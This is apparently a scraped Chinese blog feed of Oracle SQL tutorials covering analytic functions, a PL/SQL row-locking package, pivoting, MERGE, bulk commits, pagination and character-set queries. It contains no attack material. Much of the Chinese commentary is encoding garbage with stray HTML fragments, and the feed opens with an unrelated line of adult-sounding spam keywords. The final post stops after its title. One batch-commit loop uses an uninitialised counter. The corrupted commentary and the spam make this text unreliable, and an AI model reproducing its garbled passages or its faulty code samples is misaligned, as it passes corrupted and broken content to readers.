99国产精品久久久久久久成人热,亚洲午夜精品久久久久久性色,中文字幕亚洲综合久久菠萝蜜

oracle分析函数

☜♥☞MengChuChen — Wed, 25 Apr 2007 12:46:00 GMT

oracle分析函数

zhouwf0726 | 25 七月, 2006 12:51

oracle分析函数--SQL*PLUS环境
--1、GROUP BY子句

--CREATE TEST TABLE AND INSERT TEST DATA.
create table students
(id number(15,0),
area varchar2(10),
stu_type varchar2(2),
score number(20,2));

insert into students values(1, '111', 'g', 80 );
insert into students values(1, '111', 'j', 80 );
insert into students values(1, '222', 'g', 89 );
insert into students values(1, '222', 'g', 68 );
insert into students values(2, '111', 'g', 80 );
insert into students values(2, '111', 'j', 70 );
insert into students values(2, '222', 'g', 60 );
insert into students values(2, '222', 'j', 65 );
insert into students values(3, '111', 'g', 75 );
insert into students values(3, '111', 'j', 58 );
insert into students values(3, '222', 'g', 58 );
insert into students values(3, '222', 'j', 90 );
insert into students values(4, '111', 'g', 89 );
insert into students values(4, '111', 'j', 90 );
insert into students values(4, '222', 'g', 90 );
insert into students values(4, '222', 'j', 89 );
commit;

col score format 999999999999.99

--A、GROUPING SETS

select id,area,stu_type,sum(score) score
from students
group by grouping sets((id,area,stu_type),(id,area),id)
order by id,area,stu_type;

/*--------理解grouping sets
select a, b, c, sum( d ) from t
group by grouping sets ( a, b, c )

�{�效�?br>
select * from (
select a, null, null, sum( d ) from t group by a
union all
select null, b, null, sum( d ) from t group by b
union all
select null, null, c, sum( d ) from t group by c
)
*/

--B、ROLLUP

select id,area,stu_type,sum(score) score
from students
group by rollup(id,area,stu_type)
order by id,area,stu_type;

/*--------理解rollup
select a, b, c, sum( d )
from t
group by rollup(a, b, c);

�{�效�?br>
select * from (
select a, b, c, sum( d ) from t group by a, b, c
union all
select a, b, null, sum( d ) from t group by a, b
union all
select a, null, null, sum( d ) from t group by a
union all
select null, null, null, sum( d ) from t
)
*/

--C、CUBE

select id,area,stu_type,sum(score) score
from students
group by cube(id,area,stu_type)
order by id,area,stu_type;

/*--------理解cube
select a, b, c, sum( d ) from t
group by cube( a, b, c)

�{�效�?br>
select a, b, c, sum( d ) from t
group by grouping sets(
( a, b, c ),
( a, b ), ( a ), ( b, c ),
( b ), ( a, c ), ( c ),
() )
*/

--D、GROUPING

/*从上面的�l�果中我们很�Ҏ��发现,每个�l�计数据所对应的行都会出现null,
如何来区分到底是�Ҏ��那个字段做的汇��d��,grouping函数判断是否合计�?*/

select decode(grouping(id),1,'all id',id) id,
decode(grouping(area),1,'all area',to_char(area)) area,
decode(grouping(stu_type),1,'all_stu_type',stu_type) stu_type,
sum(score) score
from students
group by cube(id,area,stu_type)
order by id,area,stu_type;

--2、OVER()函数的��?br>--1、RANK()、DENSE_RANK() 的、ROW_NUMBER()、CUME_DIST()、MAX()、AVG()

break on id skip 1
select id,area,score from students order by id,area,score desc;

select id,rank() over(partition by id order by score desc) rk,score from students;

--允许�q�列名次、名�ơ不间断
select id,dense_rank() over(partition by id order by score desc) rk,score from students;

--即��SCORE相同�Q�ROW_NUMBER()�l�果也是不同
select id,row_number() over(partition by ID order by SCORE desc) rn,score from students;

select cume_dist() over(order by id) a, --该组最大row_number/所有记录row_number
row_number() over (order by id) rn,id,area,score from students;

select id,max(score) over(partition by id order by score desc) as mx,score from students;

select id,area,avg(score) over(partition by id order by area) as avg,score from students; --注意有无order by的区�?br>
--按照ID求AVG
select id,avg(score) over(partition by id order by score desc rows between unbounded preceding
and unbounded following ) as ag,score from students;

--2、SUM()

select id,area,score from students order by id,area,score desc;

select id,area,score,
sum(score) over (order by id,area) �q�箋求和, --按照OVER后边内容汇��L��?br>sum(score) over () ��d��, -- 此处sum(score) over () �{�同于sum(score)
100*round(score/sum(score) over (),4) "份额(%)"
from students;

select id,area,score,
sum(score) over (partition by id order by area ) �q�id�l�求�? --按照id内容汇��L��?br>sum(score) over (partition by id) id��d��, --各id的分数��d��
100*round(score/sum(score) over (partition by id),4) "id份额(%)",
sum(score) over () ��d��, -- 此处sum(score) over () �{�同于sum(score)
100*round(score/sum(score) over (),4) "份额(%)"
from students;

--4、LAG(COL,n,default)、LEAD(OL,n,default) --取前后边N条数�?br>
select id,lag(score,1,0) over(order by id) lg,score from students;

select id,lead(score,1,0) over(order by id) lg,score from students;

--5、FIRST_VALUE()、LAST_VALUE()

select id,first_value(score) over(order by id) fv,score from students;

select id,last_value(score) over(order by id) fv,score from students;

☜♥☞MengChuChen 2007-04-25 20:46 发表评论

Oracle悲观��锁和乐观封锁在比较

☜♥☞MengChuChen — Wed, 25 Apr 2007 12:42:00 GMT

在Php格式�?冒号被�{义了,应该在的有的old和new前加冒号,以示更加清晰.

--oracle悲观��锁应用�C�Z��(以下包是研究Oracle�?1i后模拟的)�Q?br>--ttx_tmp.sql

代码:

create or replace package ttx_temp_pkg is

  g_ok varchar2(2) := 'OK';    

  g_changed varchar2(21) :='CHANGED BY OTHER USER';

  g_no_row varchar2(14) := 'NO ROW UPDATED';

  

  procedure lock_row

  (

    x_message         out nocopy varchar2,

    p_id              in number,

    p_owner           in varchar2,

    p_object_name     in varchar2,

    p_subobject_name  in varchar2,

    p_object_id       in number,

    p_data_object_id  in number,

    p_object_type     in varchar2,

    p_created         in date,

    p_last_ddl_time   in date,

    p_timestamp       in varchar2,

    p_status          in varchar2,

    p_temporary       in varchar2,

    p_generated       in varchar2,

    p_secondary       in varchar2

  );

  

  procedure update_row

  (

    x_message         out nocopy varchar2,

    p_id              in number,

    p_owner           in varchar2,

    p_object_name     in varchar2,

    p_subobject_name  in varchar2,

    p_object_id       in number,

    p_data_object_id  in number,

    p_object_type     in varchar2,

    p_created         in date,

    p_last_ddl_time   in date,

    p_timestamp       in varchar2,

    p_status          in varchar2,

    p_temporary       in varchar2,

    p_generated       in varchar2,

    p_secondary       in varchar2  

  );

  

  procedure delete_row

  (

    p_id in number,

    x_message out nocopy varchar2

  );



end ttx_temp_pkg;

/



create or replace package body ttx_temp_pkg is



  procedure lock_row

  (

    x_message         out nocopy varchar2,

    p_id              in number,

    p_owner           in varchar2,

    p_object_name     in varchar2,

    p_subobject_name  in varchar2,

    p_object_id       in number,

    p_data_object_id  in number,

    p_object_type     in varchar2,

    p_created         in date,

    p_last_ddl_time   in date,

    p_timestamp       in varchar2,

    p_status          in varchar2,

    p_temporary       in varchar2,

    p_generated       in varchar2,

    p_secondary       in varchar2

  ) is

    cursor cur_ttx_temp is

      select

        id,

        owner,

        object_name,

        subobject_name,

        object_id,

        data_object_id,

        object_type,

        created,

        last_ddl_time,

        timestamp,

        status,

        temporary,

        generated,

        secondary

      from ttx_temp

      where id = p_id

      for update nowait;

    ctt cur_ttx_temp%rowtype;  

            

  begin

      open cur_ttx_temp;

      fetch cur_ttx_temp into ctt;      

      if ((ctt.owner=p_owner) or

          (ctt.owner is null and p_owner is null))

        and ((ctt.object_name=p_object_name) or

          (ctt.object_name is null and p_object_name is null))

        and ((ctt.subobject_name=p_subobject_name) or

          (ctt.subobject_name is null and p_subobject_name is null))

        and ((ctt.object_id=p_object_id) or

          (ctt.object_id is null and p_object_id is null))

        and ((ctt.data_object_id=p_data_object_id) or

          (ctt.data_object_id is null  and p_data_object_id is null))

        and ((ctt.object_type=p_object_type) or

          (ctt.object_type is null and p_object_type is null))

        and ((ctt.created=p_created) or

          (ctt.created is null and p_created is null))

        and ((ctt.last_ddl_time=p_last_ddl_time) or

          (ctt.last_ddl_time is null and p_last_ddl_time is null))

        and ((ctt.timestamp=p_timestamp) or

          (ctt.timestamp is null and p_timestamp is null))

        and ((ctt.status=p_status) or

          (ctt.status is null and p_status is null))

        and ((ctt.temporary=p_temporary) or

          (ctt.temporary is null and p_temporary is null))

        and ((ctt.generated=p_generated) or

          (ctt.generated is null and p_generated is null))

        and ((ctt.secondary=p_secondary) or

          (ctt.secondary is null and p_secondary is null)) then        

        x_message := g_ok;    

      else

        x_message := g_changed;

      end if;  

      close cur_ttx_temp;

     

  exception

    when others then

      x_message := substrb(sqlcode||'/'||sqlerrm,1,200);  

      if cur_ttx_temp%isopen then

        close cur_ttx_temp;

      end if;

  end;

  

  procedure update_row

  (

    x_message         out nocopy varchar2,

    p_id              in number,

    p_owner           in varchar2,

    p_object_name     in varchar2,

    p_subobject_name  in varchar2,

    p_object_id       in number,

    p_data_object_id  in number,

    p_object_type     in varchar2,

    p_created         in date,

    p_last_ddl_time   in date,

    p_timestamp       in varchar2,

    p_status          in varchar2,

    p_temporary       in varchar2,

    p_generated       in varchar2,

    p_secondary       in varchar2  

  ) is

  begin

      update ttx_temp

      set    

      owner          = p_owner,           

      object_name    = p_object_name,

      subobject_name = p_subobject_name,

      object_id      = p_object_id,

      data_object_id = p_data_object_id,

      object_type    = p_object_type,

      created        = p_created,

      last_ddl_time  = p_last_ddl_time,

      timestamp      = p_timestamp,

      status         = p_status,

      temporary      = p_temporary,

      generated      = p_generated,

      secondary      = p_secondary       

      where id=p_id;

      

      if sql%rowcount > 0 then

        x_message := g_ok;

      else

        x_message := g_no_row;

    end if;  

  exception

    when others then

      x_message := substrb(sqlcode||'/'||sqlerrm,1,200);

  end;

  

  procedure delete_row

  (

    p_id in number,

    x_message out nocopy varchar2

  ) is

  begin

      delete ttx_temp

      where id=p_id;

      if sql%rowcount > 0 then

        x_message := g_ok;

      else

        raise no_data_found;

      end if;

  

  exception

    when others then

        x_message := substrb(sqlcode||'/'||sqlerrm,1,200);    

  end;  



end ttx_temp_pkg;

/

--环境准备

ttx@TTX>create table ttx_temp as select *
2 from dba_objects where rownum < 100;

Table created.

ttx@TTX>alter table ttx_temp add id number;

Table altered.

ttx@TTX>create sequence ttx_temp_s;

Sequence created.

ttx@TTX>update ttx_temp set id = ttx_temp_s.nextval;

99 rows updated.

ttx@TTX>commit;

Commit complete.

ttx@TTX>alter table ttx_temp modify id not null;

Table altered.

ttx@TTX>alter table ttx_temp add constraint ttx_temp_pk primary key(id);

Table altered.

ttx@TTX>show errros;
SP2-0158: unknown SHOW option "errros"
ttx@TTX>desc ttx_temp
Name Null? Type
----------------------------------------------------- -------- ------------------------------------
OWNER VARCHAR2(30)
OBJECT_NAME VARCHAR2(128)
SUBOBJECT_NAME VARCHAR2(30)
OBJECT_ID NUMBER
DATA_OBJECT_ID NUMBER
OBJECT_TYPE VARCHAR2(19)
CREATED DATE
LAST_DDL_TIME DATE
TIMESTAMP VARCHAR2(19)
STATUS VARCHAR2(7)
TEMPORARY VARCHAR2(1)
GENERATED VARCHAR2(1)
SECONDARY VARCHAR2(1)
ID NOT NULL NUMBER

ttx@TTX>column object_name format a30
ttx@TTX>column owner format a15
ttx@TTX>select owner,object_name from ttx_temp where id < 10;

OWNER OBJECT_NAME
--------------- ------------------------------
SYS ICOL$
SYS I_USER1
SYS CON$
SYS UNDO$
SYS C_COBJ#
SYS I_OBJ#
SYS PROXY_ROLE_DATA$
SYS I_IND1
SYS I_CDEF2

9 rows selected.

ttx@TTX>desc ttx_temp_pkg
PROCEDURE DELETE_ROW
Argument Name Type In/Out Default?
------------------------------ ----------------------- ------ --------
P_ID NUMBER IN
X_MESSAGE VARCHAR2 OUT
PROCEDURE LOCK_ROW
Argument Name Type In/Out Default?
------------------------------ ----------------------- ------ --------
X_MESSAGE VARCHAR2 OUT
P_ID NUMBER IN
P_OWNER VARCHAR2 IN
P_OBJECT_NAME VARCHAR2 IN
P_SUBOBJECT_NAME VARCHAR2 IN
P_OBJECT_ID NUMBER IN
P_DATA_OBJECT_ID NUMBER IN
P_OBJECT_TYPE VARCHAR2 IN
P_CREATED DATE IN
P_LAST_DDL_TIME DATE IN
P_TIMESTAMP VARCHAR2 IN
P_STATUS VARCHAR2 IN
P_TEMPORARY VARCHAR2 IN
P_GENERATED VARCHAR2 IN
P_SECONDARY VARCHAR2 IN
PROCEDURE UPDATE_ROW
Argument Name Type In/Out Default?
------------------------------ ----------------------- ------ --------
X_MESSAGE VARCHAR2 OUT
P_ID NUMBER IN
P_OWNER VARCHAR2 IN
P_OBJECT_NAME VARCHAR2 IN
P_SUBOBJECT_NAME VARCHAR2 IN
P_OBJECT_ID NUMBER IN
P_DATA_OBJECT_ID NUMBER IN
P_OBJECT_TYPE VARCHAR2 IN
P_CREATED DATE IN
P_LAST_DDL_TIME DATE IN
P_TIMESTAMP VARCHAR2 IN
P_STATUS VARCHAR2 IN
P_TEMPORARY VARCHAR2 IN
P_GENERATED VARCHAR2 IN
P_SECONDARY VARCHAR2 IN

ttx@TTX>

--前台操作用户通过前台界面查出需要的数据(select * from ttx_temp)�Q?br>--然后对对ID=1的这行数据的SUBOBJECT_NAME�q�行修改后提交更新时�Q?br>--�E�序应该�c�M��于下面的方式调用�Q�就可以保证数据更新不被丢失

代码:

begin

  --old.xxx 在调用时用具体的初始值替�?/font>,在Oracle Form和Delphi中都支持Old和New的模�?/font>,

  --在JAVA中我不太清楚,应该是有办法�?

  ttx_temp_pkg.lock_row

  (

    x_message         => v_message,       

    p_id              => id,            

    p_owner           => old.owner,

    p_object_name     => old.object_name,

    p_subobject_name  => old.subobject_name,

    p_object_id       => old.object_id,

    p_data_object_id  => old.data_object_id,

    p_object_type     => old.object_type,

    p_created         => old.created,

    p_last_ddl_time   => old.last_ddl_time,

    p_timestamp       => old.timestamp,

    p_status          => old.status,

    p_temporary       => old.temporary,

    p_generated       => old.generated,

    p_secondary       => old.secondary

  );

  

  if v_message = 'OK' then

    ttx_temp_pkg.update_row      

    (

      x_message         => v_message,

      p_id              => id,--用具体的��g���?

      p_owner           => new.owner,         

      p_object_name     => new.object_name,   

      p_subobject_name  => new.subobject_name,

      p_object_id       => new.object_id,     

      p_data_object_id  => new.data_object_id,

      p_object_type     => new.object_type,   

      p_created         => new.created,       

      p_last_ddl_time   => new.last_ddl_time,

      p_timestamp       => new.timestamp,     

      p_status          => new.status,        

      p_temporary       => new.temporary,     

      p_generated       => new.generated,     

      p_secondary       => new.secondary      

    );

    

    if v_message = 'OK' then

      --数据更新成功

    else

      --数据更新��p�|  

    end if;

    

  else

    --锁定行出错，具体信息�?/font>:v_message  

  end if;  

  

end;

--Oracle乐观��锁�C�Z��Q?br>--前台操作用户通过前台界面查出需要的数据(select t.rowid,t.* from ttx_temp t)�Q?br>--然后对对ID=1的这行数据的SUBOBJECT_NAME�q�行修改提交更新�Q?br>--应该使用的程序代码类��gؓ(Delphi可以自已产生�Q�其余的不太清楚)�Q?br>

代码:

update ttx_temp t

set t.subobject_name=new.subobject_name

where t.rowid=_rowid--用具体的��g���?

and t.id=old.id

and nvl(t.owner,'"$!')=nvl(old.owner,'"$!')

and nvl(t.object_name,'"$!')=nvl(old.object_name,'"$!')

and nvl(t.object_id,'"$!')=nvl(old.object_id,'"$!')

and nvl(t.data_object_id,'"$!')=nvl(old.data_object_id,'"$!')

and nvl(t.object_type,'"$!')=nvl(old.object_type,'"$!')

and nvl(t.created,'"$!')=nvl(old.created,'"$!')

and nvl(t.last_ddl_time,'"$!')=nvl(old.last_ddl_time,'"$!')

and nvl(t.timestamp,'"$!')=nvl(old.timestamp,'"$!')

and nvl(t.status,'"$!')=nvl(old.status,'"$!')

and nvl(t.temporary,'"$!')=nvl(old.temporary,'"$!')

and nvl(t.generated,'"$!')=nvl(old.generated,'"$!')

and nvl(t.secondary,'"$!')=nvl(old.secondary,'"$!');

--乐观��锁的代码量相对来说��很多，但增大了丢失更新的风险。在实际应用�?br>--到底是��用悲观封锁还是乐观封锁，由开发�h员来定。不�q�Oracle 11i版的ERP
--如此庞大复杂的系�l�都使用悲观��锁�Q�没有理��p��明乐观封锁优于悲观封锁�?/font>

☜♥☞MengChuChen 2007-04-25 20:42 发表评论

Oracle SQL�_�֦�SQL语句讲解

☜♥☞MengChuChen — Wed, 25 Apr 2007 12:36:00 GMT

--行列转换行�{�?br>DROP TABLE t_change_lc;
CREATE TABLE t_change_lc (card_code VARCHAR2(3), q NUMBER, bal NUMBER);

INSERT INTO t_change_lc
SELECT '001' card_code, ROWNUM q, trunc(dbms_random.VALUE * 100) bal FROM dual CONNECT BY ROWNUM <= 4
UNION
SELECT '002' card_code, ROWNUM q, trunc(dbms_random.VALUE * 100) bal FROM dual CONNECT BY ROWNUM <= 4;

SELECT * FROM t_change_lc;

SELECT a.card_code,
SUM(decode(a.q, 1, a.bal, 0)) q1,
SUM(decode(a.q, 2, a.bal, 0)) q2,
SUM(decode(a.q, 3, a.bal, 0)) q3,
SUM(decode(a.q, 4, a.bal, 0)) q4
FROM t_change_lc a
GROUP BY a.card_code
ORDER BY 1;

--行列转换列�{�?br>DROP TABLE t_change_cl;
CREATE TABLE t_change_cl AS
SELECT a.card_code,
SUM(decode(a.q, 1, a.bal, 0)) q1,
SUM(decode(a.q, 2, a.bal, 0)) q2,
SUM(decode(a.q, 3, a.bal, 0)) q3,
SUM(decode(a.q, 4, a.bal, 0)) q4
FROM t_change_lc a
GROUP BY a.card_code
ORDER BY 1;

SELECT * FROM t_change_cl;

SELECT t.card_code,
t.rn q,
decode(t.rn, 1, t.q1, 2, t.q2, 3, t.q3, 4, t.q4) bal
FROM (SELECT a.*, b.rn
FROM t_change_cl a,
(SELECT ROWNUM rn FROM dual CONNECT BY ROWNUM <= 4) b) t
ORDER BY 1, 2;

--行列转换行�{�?合�ƈ
DROP TABLE t_change_lc_comma;
CREATE TABLE t_change_lc_comma AS SELECT card_code,'quarter_'||q AS q FROM t_change_lc;

SELECT * FROM t_change_lc_comma;

SELECT t1.card_code, substr(MAX(sys_connect_by_path(t1.q, ';')), 2) q
FROM (SELECT a.card_code,
a.q,
row_number() over(PARTITION BY a.card_code ORDER BY a.q) rn
FROM t_change_lc_comma a) t1
START WITH t1.rn = 1
CONNECT BY t1.card_code = PRIOR t1.card_code
AND t1.rn - 1 = PRIOR t1.rn
GROUP BY t1.card_code;

--行列转换列�{�?分割
DROP TABLE t_change_cl_comma;
CREATE TABLE t_change_cl_comma AS
SELECT t1.card_code, substr(MAX(sys_connect_by_path(t1.q, ';')), 2) q
FROM (SELECT a.card_code,
a.q,
row_number() over(PARTITION BY a.card_code ORDER BY a.q) rn
FROM t_change_lc_comma a) t1
START WITH t1.rn = 1
CONNECT BY t1.card_code = PRIOR t1.card_code
AND t1.rn - 1 = PRIOR t1.rn
GROUP BY t1.card_code;

SELECT * FROM t_change_cl_comma;

SELECT t.card_code,
substr(t.q,
instr(';' || t.q, ';', 1, rn),
instr(t.q || ';', ';', 1, rn) - instr(';' || t.q, ';', 1, rn)) q
FROM (SELECT a.card_code, a.q, b.rn
FROM t_change_cl_comma a,
(SELECT ROWNUM rn FROM dual CONNECT BY ROWNUM <= 100) b
WHERE instr(';' || a.q, ';', 1, rn) > 0) t
ORDER BY 1, 2;

-- 实现一条记录根据条件多表插�?br>DROP TABLE t_ia_src;
CREATE TABLE t_ia_src AS SELECT 'a'||ROWNUM c1, 'b'||ROWNUM c2 FROM dual CONNECT BY ROWNUM<=5;
DROP TABLE t_ia_dest_1;
CREATE TABLE t_ia_dest_1(flag VARCHAR2(10) , c VARCHAR2(10));
DROP TABLE t_ia_dest_2;
CREATE TABLE t_ia_dest_2(flag VARCHAR2(10) , c VARCHAR2(10));
DROP TABLE t_ia_dest_3;
CREATE TABLE t_ia_dest_3(flag VARCHAR2(10) , c VARCHAR2(10));

SELECT * FROM t_ia_src;
SELECT * FROM t_ia_dest_1;
SELECT * FROM t_ia_dest_2;
SELECT * FROM t_ia_dest_3;

INSERT ALL
WHEN (c1 IN ('a1','a3')) THEN
INTO t_ia_dest_1(flag,c) VALUES(flag1,c2)
WHEN (c1 IN ('a2','a4')) THEN
INTO t_ia_dest_2(flag,c) VALUES(flag2,c2)
ELSE
INTO t_ia_dest_3(flag,c) VALUES(flag1||flag2,c1||c2)
SELECT c1,c2, 'f1' flag1, 'f2' flag2 FROM t_ia_src;

-- 如果存在��更斎ͼ�不存在就插入用一个语句实�?br>DROP TABLE t_mg;
CREATE TABLE t_mg(code VARCHAR2(10), NAME VARCHAR2(10));

SELECT * FROM t_mg;

MERGE INTO t_mg a
USING (SELECT 'the code' code, 'the name' NAME FROM dual) b
ON (a.code = b.code)
WHEN MATCHED THEN
UPDATE SET a.NAME = b.NAME
WHEN NOT MATCHED THEN
INSERT (code, NAME) VALUES (b.code, b.NAME);

-- 抽取/删除重复记录
DROP TABLE t_dup;
CREATE TABLE t_dup AS SELECT 'code_'||ROWNUM code, dbms_random.string('z',5) NAME FROM dual CONNECT BY ROWNUM<=10;
INSERT INTO t_dup SELECT 'code_'||ROWNUM code, dbms_random.string('z',5) NAME FROM dual CONNECT BY ROWNUM<=2;

SELECT * FROM t_dup;

SELECT * FROM t_dup a WHERE a.ROWID <> (SELECT MIN(b.ROWID) FROM t_dup b WHERE a.code=b.code);

SELECT b.code, b.NAME
FROM (SELECT a.code,
a.NAME,
row_number() over(PARTITION BY a.code ORDER BY a.ROWID) rn
FROM t_dup a) b
WHERE b.rn > 1;

-- IN/EXISTS的不同适用环境
-- t_orders.customer_id有烦�?br>SELECT a.*
FROM t_employees a
WHERE a.employee_id IN
(SELECT b.sales_rep_id FROM t_orders b WHERE b.customer_id = 12);

SELECT a.*
FROM t_employees a
WHERE EXISTS (SELECT 1
FROM t_orders b
WHERE b.customer_id = 12
AND a.employee_id = b.sales_rep_id);

-- t_employees.department_id有烦�?br>SELECT a.*
FROM t_employees a
WHERE a.department_id = 10
AND EXISTS
(SELECT 1 FROM t_orders b WHERE a.employee_id = b.sales_rep_id);

SELECT a.*
FROM t_employees a
WHERE a.department_id = 10
AND a.employee_id IN (SELECT b.sales_rep_id FROM t_orders b);

-- FBI
DROP TABLE t_fbi;
CREATE TABLE t_fbi AS
SELECT ROWNUM rn, dbms_random.STRING('z',10) NAME , SYSDATE + dbms_random.VALUE * 10 dt FROM dual
CONNECT BY ROWNUM <=10;

CREATE INDEX idx_nonfbi ON t_fbi(dt);

DROP INDEX idx_fbi_1;
CREATE INDEX idx_fbi_1 ON t_fbi(trunc(dt));

SELECT * FROM t_fbi WHERE trunc(dt) = to_date('2006-09-21','yyyy-mm-dd') ;

-- 不徏议��?br>SELECT * FROM t_fbi WHERE to_char(dt, 'yyyy-mm-dd') = '2006-09-21';

-- LOOP中的COMMIT/ROLLBACK
DROP TABLE t_loop PURGE;
create TABLE t_loop AS SELECT * FROM user_objects WHERE 1=2;

SELECT * FROM t_loop;

-- 逐行提交
DECLARE
BEGIN
FOR cur IN (SELECT * FROM user_objects) LOOP
INSERT INTO t_loop VALUES cur;
COMMIT;
END LOOP;
END;

-- 模拟扚w��提交
DECLARE
v_count NUMBER;
BEGIN
FOR cur IN (SELECT * FROM user_objects) LOOP
INSERT INTO t_loop VALUES cur;
v_count := v_count + 1;
IF v_count >= 100 THEN
COMMIT;
END IF;
END LOOP;
COMMIT;
END;

-- 真正的批量提�?br>DECLARE
CURSOR cur IS
SELECT * FROM user_objects;
TYPE rec IS TABLE OF user_objects%ROWTYPE;
recs rec;
BEGIN
OPEN cur;
WHILE (TRUE) LOOP
FETCH cur BULK COLLECT
INTO recs LIMIT 100;
-- forall 实现扚w��
FORALL i IN 1 .. recs.COUNT
INSERT INTO t_loop VALUES recs (i);
COMMIT;
EXIT WHEN cur%NOTFOUND;
END LOOP;
CLOSE cur;
END;

-- 悲观锁定/乐观锁定
DROP TABLE t_lock PURGE;
CREATE TABLE t_lock AS SELECT 1 ID FROM dual;

SELECT * FROM t_lock;

-- 常见的实现逻辑�Q�隐含bug
DECLARE
v_cnt NUMBER;
BEGIN
-- �q�里有�ƈ发性的bug
SELECT MAX(ID) INTO v_cnt FROM t_lock;

-- here for other operation
v_cnt := v_cnt + 1;
INSERT INTO t_lock (ID) VALUES (v_cnt);
COMMIT;
END;

-- 高�ƈ发环境下�Q�安全的实现逻辑
DECLARE
v_cnt NUMBER;
BEGIN
-- �Ҏ��定的行取得lock
SELECT ID INTO v_cnt FROM t_lock WHERE ID=1 FOR UPDATE;
-- 在有lock的情况下�l�箋下面的操�?br>SELECT MAX(ID) INTO v_cnt FROM t_lock;

-- here for other operation
v_cnt := v_cnt + 1;
INSERT INTO t_lock (ID) VALUES (v_cnt);
COMMIT; --提交�q�且释放lock
END;

-- ��解�?软解�?br>DROP TABLE t_hard PURGE;
CREATE TABLE t_hard (ID INT);

SELECT * FROM t_hard;

DECLARE
sql_1 VARCHAR2(200);
BEGIN
-- hard parse
-- java中的同等语句�?Statement.execute()
FOR i IN 1 .. 1000 LOOP
sql_1 := 'insert into t_hard(id) values(' || i || ')';
EXECUTE IMMEDIATE sql_1;
END LOOP;
COMMIT;

-- soft parse
--java中的同等语句�?PreparedStatement.execute()
sql_1 := 'insert into t_hard(id) values(:id)';
FOR i IN 1 .. 1000 LOOP
EXECUTE IMMEDIATE sql_1
USING i;
END LOOP;
COMMIT;
END;

-- 正确的分��늮��?
SELECT *
FROM (SELECT a.*, ROWNUM rn
FROM (SELECT * FROM t_employees ORDER BY first_name) a
WHERE ROWNUM <= 500)
WHERE rn > 480 ;

-- 分页��法(why not this one)
SELECT a.*, ROWNUM rn
FROM (SELECT * FROM t_employees ORDER BY first_name) a
WHERE ROWNUM <= 500 AND ROWNUM > 480;

-- 分页��法(why not this one)
SELECT b.*
FROM (SELECT a.*, ROWNUM rn
FROM t_employees a
WHERE ROWNUM < = 500
ORDER BY first_name) b
WHERE b.rn > 480;

-- OLAP
-- ��计合计
SELECT CASE
WHEN a.deptno IS NULL THEN
'合计'
WHEN a.deptno IS NOT NULL AND a.empno IS NULL THEN
'��计'
ELSE
'' || a.deptno
END deptno,
a.empno,
a.ename,
SUM(a.sal) total_sal
FROM scott.emp a
GROUP BY GROUPING SETS((a.deptno),(a.deptno, a.empno, a.ename),());

-- 分组排序
SELECT a.deptno,
a.empno,
a.ename,
a.sal,
-- 可蟩跃的rank
rank() over(PARTITION BY a.deptno ORDER BY a.sal DESC) r1,
-- 密集型rank
dense_rank() over(PARTITION BY a.deptno ORDER BY a.sal DESC) r2,
-- 不分�l�排�?br>rank() over(ORDER BY sal DESC) r3
FROM scott.emp a
ORDER BY a.deptno,a.sal DESC;

-- 当前行数据和�?后n行的数据比较
SELECT a.empno,
a.ename,
a.sal,
-- 上面一�?br>lag(a.sal) over(ORDER BY a.sal DESC) lag_1,
-- 下面三行
lead(a.sal, 3) over(ORDER BY a.sal DESC) lead_3
FROM scott.emp a
ORDER BY a.sal DESC;

☜♥☞MengChuChen 2007-04-25 20:36 发表评论

ORACLE 字符集问�?

☜♥☞MengChuChen — Fri, 13 Apr 2007 01:06:00 GMT

ORACLE 字符集问�?/font>

一、什么是oracle字符�?/span>

　　Oracle字符集是一个字节数据的解释的符号集�?/span>,有大��之�?/span>,有相互的包容关系�?/span>ORACLE 支持国家语言的体�pȝ��构允�怽�使用本地化语�a�来存储，处理�Q�检索数据。它使数据库工具�Q�错误消息，排序�ơ序�Q�日期，旉��Q�货币，数字�Q�和日历自动适应本地化语�a�和��^台�?/span>

SELECT * FROM V$NLS_PARAMETERS;

1 NLS_LANGUAGE SIMPLIFIED CHINESE

2 NLS_TERRITORY CHINA

3 NLS_CURRENCY RMB

4 NLS_ISO_CURRENCY CHINA

5 NLS_NUMERIC_CHARACTERS .,

6 NLS_CALENDAR GREGORIAN

7 NLS_DATE_FORMAT DD-MON-RR

8 NLS_DATE_LANGUAGE SIMPLIFIED CHINESE

9 NLS_CHARACTERSET AL32UTF8

10 NLS_SORT BINARY

11 NLS_TIME_FORMAT HH.MI.SSXFF AM

12 NLS_TIMESTAMP_FORMAT DD-MON-RR HH.MI.SSXFF AM

13 NLS_TIME_TZ_FORMAT HH.MI.SSXFF AM TZR

14 NLS_TIMESTAMP_TZ_FORMAT DD-MON-RR HH.MI.SSXFF AM TZR

15 NLS_DUAL_CURRENCY RMB

16 NLS_NCHAR_CHARACTERSET UTF8

17 NLS_COMP BINARY

18 NLS_LENGTH_SEMANTICS BYTE

19 NLS_NCHAR_CONV_EXCP FALSE

二、如何查�?/span>Oracle的字�W�集

ORACLE�?/span>三方面的字符集，一�?/span>oracel server端的字符集，二是oracle client端的字符�?/span>;三是dmp文�g的字�W�集。在做数据导入的时候，需要这三个字符集都一致才能正��导入�?/span>

--查看oracel server端的字符�?/span>

select userenv('language') from dual;

1 SIMPLIFIED CHINESE_CHINA.AL32UTF8

--查看dmp文�g的字�W�集

�?/span>oracle�?/span>exp工具导出�?/span>dmp文�g也包含了字符集信息，dmp文�g的第2和第3个字节记录了dmp文�g的字�W�集。如�?/span>dmp文�g不大�Q�比如只有几M或几�?/span>M�Q�可以用UltraEdit打开(16�q�制方式)�Q�看�W?/span>2�W?/span>3个字节的内容�Q�如0354�Q�然后用以下SQL查出它对应的字符�?/span>:

select nls_charset_name(to_number('0354','xxxx')) from dual

--查看oracel client�?/span>�?/span>字符�?/span>

　　是注册表里面相应OracleHome�?/span>NLS_LANG。还可以�?/span>dos�H�口里面自己讄��Q�比�?/span>:

　　set nls_lang=AMERICAN_AMERICA.ZHS16GBK

　　�q�样��只影响�q�个�H�口里面的环境变�?/span>

☜♥☞MengChuChen 2007-04-13 09:06 发表评论

Oracle 数据导入�Ҏ��比较

☜♥☞MengChuChen — Fri, 13 Apr 2007 01:02:00 GMT

